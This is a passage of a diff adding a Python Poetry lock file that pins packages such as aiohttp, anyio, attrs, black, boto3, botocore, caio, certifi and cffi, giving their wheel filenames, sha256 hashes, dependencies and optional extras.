+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c9cb1565a7ad52e096a6988e2ee0397f72fe056dadf75d17fa6b5aebaea05622"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:1b3ea7edd2d24538959c1c1abf97c744d879d4e541d38305f9bd7d9b10c9ec41"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:7c7837fe8037e96b6dd5cfcf47263c1620a9d332a87ec06a6ca4564e56bd0f36"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:3b90467ebc3d9fa5b0f9b6489dfb2c304a1db7b9946fa92aa76a831b9d587e99"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:cab9401de3ea52b4b4c6971db5fb5c999bd4260898af972bf23de1c6b5dd9d71"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:d1f9282c5f2b5e241034a009779e7b2a1aa045f667ff521e7948ea9b56e0c5ff"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-win32.whl", hash = "sha256:5e14f25765a578a0a634d5f0cd1e2c3f53964553a00347998dfdf96b8137f777"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-win_amd64.whl", hash = "sha256:4c745b109057e7e5f1848c689ee4fb3a016c8d4d92da52b312f8a509f83aa05e"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:aede4df4eeb926c8fa70de46c340a1bc2c6079e1c40ccf7b0eae1313ffd33519"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ddaae3f3d32fc2cb4c53fab020b69a05c8ab1f02e0e59665c6f7a0d3a5be54f"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c4eb3b82ca349cf6fadcdc7abcc8b3a50ab74a62e9113ab7a8ebc268aad35bb9"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9bcb89336efa095ea21b30f9e686763f2be4478f1b0a616969551982c4ee4c3b"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c08e8ed6fa3d477e501ec9db169bfac8140e830aa372d77e4a43084d8dd91ab"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c6cd05ea06daca6ad6a4ca3ba7fe7dc5b5de063ff4daec6170ec0f9979f6c332"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b7a00a9ed8d6e725b55ef98b1b35c88013245f35f68b1b12c5cd4100dddac333"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:de04b491d0e5007ee1b63a309956eaed959a49f5bb4e84b26c8f5d49de140fa9"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:40653609b3bf50611356e6b6554e3a331f6879fa7116f3959b20e3528783e699"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:dbf3a08a06b3f433013c143ebd72c15cac33d2914b8ea4bea7ac2c23578815d6"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:854f422ac44af92bfe172d8e73229c270dc09b96535e8a548f99c84f82dde241"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-win32.whl", hash = "sha256:aeb29c84bb53a84b1a81c6c09d24cf33bb8432cc5c39979021cc0f98c1292a1a"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-win_amd64.whl", hash = "sha256:db3fc6120bce9f446d13b1b834ea5b15341ca9ff3f335e4a951a6ead31105480"},
+ {file = "aiohttp-3.8.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:fabb87dd8850ef0f7fe2b366d44b77d7e6fa2ea87861ab3844da99291e81e60f"},
+ {file = "aiohttp-3.8.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:91f6d540163f90bbaef9387e65f18f73ffd7c79f5225ac3d3f61df7b0d01ad15"},
+ {file = "aiohttp-3.8.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:d265f09a75a79a788237d7f9054f929ced2e69eb0bb79de3798c468d8a90f945"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d89efa095ca7d442a6d0cbc755f9e08190ba40069b235c9886a8763b03785da"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4dac314662f4e2aa5009977b652d9b8db7121b46c38f2073bfeed9f4049732cd"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:fe11310ae1e4cd560035598c3f29d86cef39a83d244c7466f95c27ae04850f10"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6ddb2a2026c3f6a68c3998a6c47ab6795e4127315d2e35a09997da21865757f8"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e75b89ac3bd27d2d043b234aa7b734c38ba1b0e43f07787130a0ecac1e12228a"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6e601588f2b502c93c30cd5a45bfc665faaf37bbe835b7cfd461753068232074"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a5d794d1ae64e7753e405ba58e08fcfa73e3fad93ef9b7e31112ef3c9a0efb52"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:a1f4689c9a1462f3df0a1f7e797791cd6b124ddbee2b570d34e7f38ade0e2c71"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:3032dcb1c35bc330134a5b8a5d4f68c1a87252dfc6e1262c65a7e30e62298275"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:8189c56eb0ddbb95bfadb8f60ea1b22fcfa659396ea36f6adcc521213cd7b44d"},
+ {file = "aiohttp-3.8.4-cp38-cp38-win32.whl", hash = "sha256:33587f26dcee66efb2fff3c177547bd0449ab7edf1b73a7f5dea1e38609a0c54"},
+ {file = "aiohttp-3.8.4-cp38-cp38-win_amd64.whl", hash = "sha256:e595432ac259af2d4630008bf638873d69346372d38255774c0e286951e8b79f"},
+ {file = "aiohttp-3.8.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5a7bdf9e57126dc345b683c3632e8ba317c31d2a41acd5800c10640387d193ed"},
+ {file = "aiohttp-3.8.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:22f6eab15b6db242499a16de87939a342f5a950ad0abaf1532038e2ce7d31567"},
+ {file = "aiohttp-3.8.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:7235604476a76ef249bd64cb8274ed24ccf6995c4a8b51a237005ee7a57e8643"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ea9eb976ffdd79d0e893869cfe179a8f60f152d42cb64622fca418cd9b18dc2a"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:92c0cea74a2a81c4c76b62ea1cac163ecb20fb3ba3a75c909b9fa71b4ad493cf"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:493f5bc2f8307286b7799c6d899d388bbaa7dfa6c4caf4f97ef7521b9cb13719"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0a63f03189a6fa7c900226e3ef5ba4d3bd047e18f445e69adbd65af433add5a2"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:10c8cefcff98fd9168cdd86c4da8b84baaa90bf2da2269c6161984e6737bf23e"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bca5f24726e2919de94f047739d0a4fc01372801a3672708260546aa2601bf57"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:03baa76b730e4e15a45f81dfe29a8d910314143414e528737f8589ec60cf7391"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:8c29c77cc57e40f84acef9bfb904373a4e89a4e8b74e71aa8075c021ec9078c2"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:03543dcf98a6619254b409be2d22b51f21ec66272be4ebda7b04e6412e4b2e14"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:17b79c2963db82086229012cff93ea55196ed31f6493bb1ccd2c62f1724324e4"},
+ {file = "aiohttp-3.8.4-cp39-cp39-win32.whl", hash = "sha256:34ce9f93a4a68d1272d26030655dd1b58ff727b3ed2a33d80ec433561b03d67a"},
+ {file = "aiohttp-3.8.4-cp39-cp39-win_amd64.whl", hash = "sha256:41a86a69bb63bb2fc3dc9ad5ea9f10f1c9c8e282b471931be0268ddd09430b04"},
+ {file = "aiohttp-3.8.4.tar.gz", hash = "sha256:bf2e1a9162c1e441bf805a1fd166e249d574ca04e03b34f97e2928769e91ab5c"},
+]
+
+[package.dependencies]
+aiosignal = ">=1.1.2"
+async-timeout = ">=4.0.0a3,<5.0"
+attrs = ">=17.3.0"
+charset-normalizer = ">=2.0,<4.0"
+frozenlist = ">=1.1.1"
+multidict = ">=4.5,<7.0"
+yarl = ">=1.0,<2.0"
+
+[package.extras]
+speedups = ["Brotli", "aiodns", "cchardet"]
+
+[[package]]
+name = "aioitertools"
+version = "0.11.0"
+description = "itertools and builtins for AsyncIO and mixed iterables"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "aioitertools-0.11.0-py3-none-any.whl", hash = "sha256:04b95e3dab25b449def24d7df809411c10e62aab0cbe31a50ca4e68748c43394"},
+ {file = "aioitertools-0.11.0.tar.gz", hash = "sha256:42c68b8dd3a69c2bf7f2233bf7df4bb58b557bca5252ac02ed5187bbc67d6831"},
+]
+
+[[package]]
+name = "aiormq"
+version = "6.6.4"
+description = "Pure python AMQP asynchronous client library"
+optional = false
+python-versions = ">=3.7,<4.0"
+files = [
+ {file = "aiormq-6.6.4-py3-none-any.whl", hash = "sha256:9fb93dc871eb9c45a410e29669624790c01b70d27f20d512a22b146c411440ea"},
+ {file = "aiormq-6.6.4.tar.gz", hash = "sha256:95835a4db6117263305d450f838ccdc3eabd427c0deb32fd617769ad4c989e98"},
+]
+
+[package.dependencies]
+pamqp = "3.2.1"
+yarl = "*"
+
+[[package]]
+name = "aiosignal"
+version = "1.3.1"
+description = "aiosignal: a list of registered asynchronous callbacks"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "aiosignal-1.3.1-py3-none-any.whl", hash = "sha256:f8376fb07dd1e86a584e4fcdec80b36b7f81aac666ebc724e2c090300dd83b17"},
+ {file = "aiosignal-1.3.1.tar.gz", hash = "sha256:54cd96e15e1649b75d6c87526a6ff0b6c1b0dd3459f43d9ca11d48c339b68cfc"},
+]
+
+[package.dependencies]
+frozenlist = ">=1.1.0"
+
+[[package]]
+name = "anyio"
+version = "3.7.1"
+description = "High level compatibility layer for multiple asynchronous event loop implementations"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "anyio-3.7.1-py3-none-any.whl", hash = "sha256:91dee416e570e92c64041bd18b900d1d6fa78dff7048769ce5ac5ddad004fbb5"},
+ {file = "anyio-3.7.1.tar.gz", hash = "sha256:44a3c9aba0f5defa43261a8b3efb97891f2bd7d804e0e1f56419befa1adfc780"},
+]
+
+[package.dependencies]
+idna = ">=2.8"
+sniffio = ">=1.1"
+
+[package.extras]
+doc = ["Sphinx", "packaging", "sphinx-autodoc-typehints (>=1.2.0)", "sphinx-rtd-theme (>=1.2.2)", "sphinxcontrib-jquery"]
+test = ["anyio[trio]", "coverage[toml] (>=4.5)", "hypothesis (>=4.0)", "mock (>=4)", "psutil (>=5.9)", "pytest (>=7.0)", "pytest-mock (>=3.6.1)", "trustme", "uvloop (>=0.17)"]
+trio = ["trio (<0.22)"]
+
+[[package]]
+name = "async-timeout"
+version = "4.0.2"
+description = "Timeout context manager for asyncio programs"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "async-timeout-4.0.2.tar.gz", hash = "sha256:2163e1640ddb52b7a8c80d0a67a08587e5d245cc9c553a74a847056bc2976b15"},
+ {file = "async_timeout-4.0.2-py3-none-any.whl", hash = "sha256:8ca1e4fcf50d07413d66d1a5e416e42cfdf5851c981d679a09851a6853383b3c"},
+]
+
+[[package]]
+name = "attrs"
+version = "23.1.0"
+description = "Classes Without Boilerplate"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "attrs-23.1.0-py3-none-any.whl", hash = "sha256:1f28b4522cdc2fb4256ac1a020c78acf9cba2c6b461ccd2c126f3aa8e8335d04"},
+ {file = "attrs-23.1.0.tar.gz", hash = "sha256:6279836d581513a26f1bf235f9acd333bc9115683f14f7e8fae46c98fc50e015"},
+]
+
+[package.extras]
+cov = ["attrs[tests]", "coverage[toml] (>=5.3)"]
+dev = ["attrs[docs,tests]", "pre-commit"]
+docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier", "zope-interface"]
+tests = ["attrs[tests-no-zope]", "zope-interface"]
+tests-no-zope = ["cloudpickle", "hypothesis", "mypy (>=1.1.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"]
+
+[[package]]
+name = "black"
+version = "22.12.0"
+description = "The uncompromising code formatter."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "black-22.12.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9eedd20838bd5d75b80c9f5487dbcb06836a43833a37846cf1d8c1cc01cef59d"},
+ {file = "black-22.12.0-cp310-cp310-win_amd64.whl", hash = "sha256:159a46a4947f73387b4d83e87ea006dbb2337eab6c879620a3ba52699b1f4351"},
+ {file = "black-22.12.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d30b212bffeb1e252b31dd269dfae69dd17e06d92b87ad26e23890f3efea366f"},
+ {file = "black-22.12.0-cp311-cp311-win_amd64.whl", hash = "sha256:7412e75863aa5c5411886804678b7d083c7c28421210180d67dfd8cf1221e1f4"},
+ {file = "black-22.12.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c116eed0efb9ff870ded8b62fe9f28dd61ef6e9ddd28d83d7d264a38417dcee2"},
+ {file = "black-22.12.0-cp37-cp37m-win_amd64.whl", hash = "sha256:1f58cbe16dfe8c12b7434e50ff889fa479072096d79f0a7f25e4ab8e94cd8350"},
+ {file = "black-22.12.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:77d86c9f3db9b1bf6761244bc0b3572a546f5fe37917a044e02f3166d5aafa7d"},
+ {file = "black-22.12.0-cp38-cp38-win_amd64.whl", hash = "sha256:82d9fe8fee3401e02e79767016b4907820a7dc28d70d137eb397b92ef3cc5bfc"},
+ {file = "black-22.12.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:101c69b23df9b44247bd88e1d7e90154336ac4992502d4197bdac35dd7ee3320"},
+ {file = "black-22.12.0-cp39-cp39-win_amd64.whl", hash = "sha256:559c7a1ba9a006226f09e4916060982fd27334ae1998e7a38b3f33a37f7a2148"},
+ {file = "black-22.12.0-py3-none-any.whl", hash = "sha256:436cc9167dd28040ad90d3b404aec22cedf24a6e4d7de221bec2730ec0c97bcf"},
+ {file = "black-22.12.0.tar.gz", hash = "sha256:229351e5a18ca30f447bf724d007f890f97e13af070bb6ad4c0a441cd7596a2f"},
+]
+
+[package.dependencies]
+click = ">=8.0.0"
+mypy-extensions = ">=0.4.3"
+pathspec = ">=0.9.0"
+platformdirs = ">=2"
+
+[package.extras]
+colorama = ["colorama (>=0.4.3)"]
+d = ["aiohttp (>=3.7.4)"]
+jupyter = ["ipython (>=7.8.0)", "tokenize-rt (>=3.2.0)"]
+uvloop = ["uvloop (>=0.15.2)"]
+
+[[package]]
+name = "boto3"
+version = "1.24.59"
+description = "The AWS SDK for Python"
+optional = false
+python-versions = ">= 3.7"
+files = [
+ {file = "boto3-1.24.59-py3-none-any.whl", hash = "sha256:34ab44146a2c4e7f4e72737f4b27e6eb5e0a7855c2f4599e3d9199b6a0a2d575"},
+ {file = "boto3-1.24.59.tar.gz", hash = "sha256:a50b4323f9579cfe22fcf5531fbd40b567d4d74c1adce06aeb5c95fce2a6fb40"},
+]
+
+[package.dependencies]
+botocore = ">=1.27.59,<1.28.0"
+jmespath = ">=0.7.1,<2.0.0"
+s3transfer = ">=0.6.0,<0.7.0"
+
+[package.extras]
+crt = ["botocore[crt] (>=1.21.0,<2.0a0)"]
+
+[[package]]
+name = "botocore"
+version = "1.27.59"
+description = "Low-level, data-driven core of boto 3."
+optional = false
+python-versions = ">= 3.7"
+files = [
+ {file = "botocore-1.27.59-py3-none-any.whl", hash = "sha256:69d756791fc024bda54f6c53f71ae34e695ee41bbbc1743d9179c4837a4929da"},
+ {file = "botocore-1.27.59.tar.gz", hash = "sha256:eda4aed6ee719a745d1288eaf1beb12f6f6448ad1fa12f159405db14ba9c92cf"},
+]
+
+[package.dependencies]
+jmespath = ">=0.7.1,<2.0.0"
+python-dateutil = ">=2.1,<3.0.0"
+urllib3 = ">=1.25.4,<1.27"
+
+[package.extras]
+crt = ["awscrt (==0.14.0)"]
+
+[[package]]
+name = "caio"
+version = "0.9.12"
+description = "Asynchronous file IO for Linux MacOS or Windows."
+optional = false
+python-versions = ">=3.7, <4"
+files = [
+ {file = "caio-0.9.12-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:df395e7e1c2025b3f32dbeff20a8b6491959fac8fbd5a9c2d452bf1f5c0ca2bf"},
+ {file = "caio-0.9.12-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:acd31b7828c6683bc46e467a32359f08c686d4c25a7e645c029a07c36685fea7"},
+ {file = "caio-0.9.12-cp310-cp310-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0b7ffb561ca5c24e7f080aaa73ebb143ae659bd69645a748b332762c389349f"},
+ {file = "caio-0.9.12-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6285d772ae3a55e758b1bd3bc34f095757e4af45dcc30a183becf9bbdead8ced"},
+ {file = "caio-0.9.12-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:18df0caecfaa90ab9ac84ff71975fcf2342554b6f65ef69049337204b8b5af42"},
+ {file = "caio-0.9.12-cp311-cp311-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e569b83e9b41d12e094190d0e1a546610829a65609f429a1845e3250d4c5804"},
+ {file = "caio-0.9.12-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7833f81f58e76a3585ff59813e63fa278731c8d26fefe52ae12e783d38c8faea"},
+ {file = "caio-0.9.12-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:aa1dab77aca0b2672b9a364f14a03e764c5d811c0ae1395f661a2b8f6723f958"},
+ {file = "caio-0.9.12-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:f366c595eda130a184f372d458d647b0ac879a46e872757648d4e29b6cea12ad"},
+ {file = "caio-0.9.12-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2759fe1957d0effb3bc38b3508b20fa37610bff9005f3926f570e6c06e901567"},
+ {file = "caio-0.9.12-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9e65060717e27c702cd76a90be33250cae46be32a3009781ce382c8675fa7551"},
+ {file = "caio-0.9.12-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:a8204c6a7ea3c96057abba3da1690190b3cae0c3f03d81e9b5e3c99978b5bb6e"},
+ {file = "caio-0.9.12-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:820bb3ef23ce0d4096f822a8fea97ff2c239dd0351fa588801d2de627df9ab98"},
+ {file = "caio-0.9.12-cp38-cp38-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa9a27973a03c777934decd577be577a61a188bee72272b3dc37a7cbc5eedf91"},
+ {file = "caio-0.9.12-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d6b424644ac37ce84f9dd99757d29e7cff01018d3b31f8ec0a38f2d5216165c"},
+ {file = "caio-0.9.12-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:15192a28e054cd591489af82f4b1093f15338eb201a2399a337461ff0bbd9fc9"},
+ {file = "caio-0.9.12-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:55317d2c90479a58108cfbd6816b85e584e61c48b42269c55f69cf4443857068"},
+ {file = "caio-0.9.12-cp39-cp39-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b18318d04cad7ef985fc2fb86d43f866ba34c1ee3445385f2370d6f843c05c69"},
+ {file = "caio-0.9.12-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:73c20d8fc7dfb140b7d57e69e6f17e1637d2ac4a9ebe0f5f8c94b56f87c5c087"},
+ {file = "caio-0.9.12-py3-none-any.whl", hash = "sha256:b81b3271478e91f18e7ac1f3e4f914ba0924364857ba8e27f03b9d0aea915ca8"},
+ {file = "caio-0.9.12.tar.gz", hash = "sha256:d2be553738dd793f8a01a60316f2c5284fbf152219241c0c67ca05f650a37a37"},
+]
+
+[package.extras]
+develop = ["aiomisc-pytest", "pytest", "pytest-cov"]
+
+[[package]]
+name = "certifi"
+version = "2023.5.7"
+description = "Python package for providing Mozilla's CA Bundle."
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "certifi-2023.5.7-py3-none-any.whl", hash = "sha256:c6c2e98f5c7869efca1f8916fed228dd91539f9f1b444c314c06eef02980c716"},
+ {file = "certifi-2023.5.7.tar.gz", hash = "sha256:0f0d56dc5a6ad56fd4ba36484d6cc34451e1c6548c61daad8c320169f91eddc7"},
+]
+
+[[package]]
+name = "cffi"
+version = "1.15.1"
+description = "Foreign Function Interface for Python calling C code."
+optional = false
+python-versions = "*"
+files = [
+ {file = "cffi-1.15.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2"},
+ {file = "cffi-1.15.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2"},
+ {file = "cffi-1.15.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914"},
+ {file = "cffi-1.15.1-cp27-cp27m-win32.whl", hash = "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3"},
+ {file = "cffi-1.15.1-cp27-cp27m-win_amd64.whl", hash = "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e"},
+ {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162"},
+ {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b"},
+ {file = "cffi-1.15.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21"},
+ {file = "cffi-1.15.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4"},
+ {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01"},
+ {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e"},
+ {file = "cffi-1.15.1-cp310-cp310-win32.whl", hash = "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2"},
+ {file = "cffi-1.15.1-cp310-cp310-win_amd64.whl", hash = "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d"},
+ {file = "cffi-1.15.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac"},
+ {file = "cffi-1.15.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c"},
+ {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef"},
+ {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8"},
+ {file = "cffi-1.15.1-cp311-cp311-win32.whl", hash = "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d"},
+ {file = "cffi-1.15.1-cp311-cp311-win_amd64.whl", hash = "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104"},
+ {file = "cffi-1.15.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6"},
